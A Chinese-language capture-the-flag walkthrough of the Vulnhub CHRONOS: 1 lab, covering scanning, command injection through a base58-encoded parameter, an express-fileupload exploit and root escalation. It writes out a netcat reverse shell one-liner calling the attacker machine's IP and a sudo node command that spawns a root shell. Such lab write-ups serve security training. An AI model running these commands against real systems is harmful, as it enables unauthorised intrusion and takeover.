Vulnhub 靶场 CHRONOS: 1
前期准备:
靶机地址:https://www.vulnhub.com/entry/chronos-1,735/
kali攻击机ip:10.0.2.7
靶机ip:10.0.2.10
一、信息收集
1.使用nmap对目标靶机进行扫描

开放了22、80和8000端口。
2. 80端口

查看源码:

发现主机名和一串字符,先把主机名添加到 hosts 文件中:

再次访问 80 端口:

新加了个日期,扫一下目录:

什么也没扫出来。
3. 8000端口

在访问 8000 端口时,也发现了访问上面发现的一串字符串的链接:

不过可疑的是 User-Agent 是 Chronos,正常来说我用火狐浏览器的代理应该是:

这意味着发送请求时,用户代理被改变了,解码一下这一串字符:
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
base64 没解出来,后来尝试 base58 解密出来了(hiencode):

'+Today is %A, %B %d, %Y %H:%M:%S.'
是日期,在本地 kali 尝试运行了一下:

发现可以,到这里就想到写个 base58 编码过的反弹 shell,替换上面的日期编码。
二、漏洞利用

重新发送一下这个请求日期的包并抓包,写个反弹 shell 然后 base58 编码:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.7 1234 >/tmp/f

替换掉原来的 base58 编码,发送数据包并 nc 监听:


nc 连接成功,升级一下 shell。

三、提权

查看一下文件:

在 /opt/chronos-v2/backend 下发现 express-fileupload,从网上找到了他的漏洞:

把攻击脚本复制下来:


本地 nc 监听并运行脚本:

执行完脚本 nc 连接后,升级一下 shell,然后发现给了我一些用户权限,查看一下目录文件:

在 /home/imera 下发现一个 user.txt 文件,应该是一个 flag。
id 命令查看时有 lxd 组,可以利用 lxd 进行提权:

不过查看权限是发现有 node:

也可以使用 node 进行提权:

sudo -u root /usr/local/bin/node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

成功提权到 root,并得到 flag。

浙公网安备 33010602011771号